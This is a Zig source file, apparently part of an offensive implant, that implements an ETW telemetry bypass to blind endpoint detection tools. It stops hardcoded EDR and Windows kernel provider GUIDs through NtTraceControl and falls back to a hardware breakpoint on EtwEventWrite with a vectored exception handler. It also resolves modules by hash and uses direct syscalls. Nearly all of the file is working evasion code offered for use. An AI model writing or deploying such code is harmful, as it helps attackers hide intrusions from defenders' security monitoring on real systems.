// ETW bypass, hardware breakpoint on EtwEventWrite via VEH. No memory touched. // NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI // provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it. const std = @import("std"); const windows = std.os.windows; const nt = @import("nt.zig"); const api = @import("api.zig"); const resolve = @import("resolve.zig"); const syscall = @import("syscall.zig"); var g_etw_patched: bool = false; var g_etw_hwbp_veh: ?*anyopaque = null; var g_etw_event_write_addr: ?*anyopaque = null; fn etw_hwbp_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG { if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr) { const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as( *const anyopaque, @ptrFromInt(ex.ContextRecord.Rsp), )))).*; ex.ContextRecord.Rip = ret_addr; ex.ContextRecord.Rsp += 8; return nt.EXCEPTION_CONTINUE_EXECUTION; } return nt.EXCEPTION_CONTINUE_SEARCH; } fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { const get_addr: *const fn (windows.HMODULE, [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque = @ptrCast(api.etw_get_proc_address orelse return false); const hmod: windows.HMODULE = @ptrCast(ntdll); var etw_write = get_addr(hmod, "EtwEventWrite"); if (etw_write == null) etw_write = get_addr(hmod, "EtwEventWriteFull"); if (etw_write == null) return false; g_etw_event_write_addr = etw_write; const veh = api.hwbp_add_veh orelse return false; const cur_thread = api.hwbp_get_thread orelse return false; const set_ctx = api.hwbp_set_thread_ctx orelse return false; g_etw_hwbp_veh = veh(1, etw_hwbp_handler); if (g_etw_hwbp_veh == null) return false; const suspend_thread = api.amsi_suspend_thread orelse return false; const resume_thread = api.amsi_resume_thread orelse return false; const thread = cur_thread(); _ = suspend_thread(thread); var ctx = std.mem.zeroes(nt.CONTEXT); ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?); ctx.Dr7 = (1 << 0); _ = set_ctx(thread, &ctx); _ = resume_thread(thread); return true; } // Best-effort NtTraceControl(code=2) on known EDR provider GUIDs. // User-mode providers only. Kernel (Threat-Intelligence) silently ignored. // HWBP on EtwEventWrite (tier 2) catches everything this misses. const edr_provider_guids = [_][16]u8{ // Microsoft-Windows-Threat-Intelligence — kernel-level, NtTraceControl NO-OP from userland .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 }, // Microsoft-Windows-Kernel-Process — process/thread creation, image loads .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 }, // Vendor-specific EDR provider (tested against Sophos, unregistered on stock Win10) .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF }, // Microsoft-Windows-Kernel-Audit-API-Calls — syscall auditing .{ 0x1C, 0x84, 0x2A, 0xE0, 0xA3, 0x75, 0xA7, 0x4F, 0xAF, 0xC8, 0xAE, 0x09, 0xCF, 0x9B, 0x7F, 0x23 }, // Microsoft-Windows-Kernel-File — file I/O .{ 0x27, 0x89, 0xD0, 0xED, 0xC4, 0x9C, 0x65, 0x4E, 0xB9, 0x70, 0xC2, 0x56, 0x0F, 0xB5, 0xC2, 0x89 }, // Microsoft-Windows-Kernel-Registry — registry operations .{ 0x03, 0x4F, 0xEB, 0x70, 0xDE, 0xC1, 0x73, 0x4F, 0xA0, 0x51, 0x33, 0xD1, 0x3D, 0x54, 0x13, 0xBD }, // Microsoft-Windows-Kernel-Network — TCP/UDP connections .{ 0x49, 0x2A, 0xD4, 0x7D, 0x29, 0x53, 0x32, 0x48, 0x8D, 0xFD, 0x43, 0xD9, 0x79, 0x15, 0x3A, 0x88 }, }; // Tier 1: try NtTraceControl. If any succeed, done. // Tier 2: fall back to HWBP on EtwEventWrite. pub fn patch_etw() void { if (g_etw_patched) return; api.ensure(); _ = syscall.init_syscall(); var stopped_any = false; for (&edr_provider_guids) |*guid| { var ret_len: windows.ULONG = 0; const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len); if (nt.NT_SUCCESS(st)) { stopped_any = true; } } if (stopped_any) { g_etw_patched = true; return; } const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return; if (try_hwbp_etw_bypass(ntdll)) { g_etw_patched = true; } } pub fn unpatch_etw() void { if (!g_etw_patched) return; defer g_etw_patched = false; if (g_etw_hwbp_veh) |h| { if (api.amsi_remove_vectored_exception_handler) |remove| { _ = remove(h); } g_etw_hwbp_veh = null; const cur_thread = api.hwbp_get_thread orelse return; const set_ctx = api.hwbp_set_thread_ctx orelse return; const suspend_t = api.amsi_suspend_thread orelse return; const resume_t = api.amsi_resume_thread orelse return; const thread = cur_thread(); _ = suspend_t(thread); var ctx = std.mem.zeroes(nt.CONTEXT); ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = 0; ctx.Dr7 = 0; _ = set_ctx(thread, &ctx); _ = resume_t(thread); } }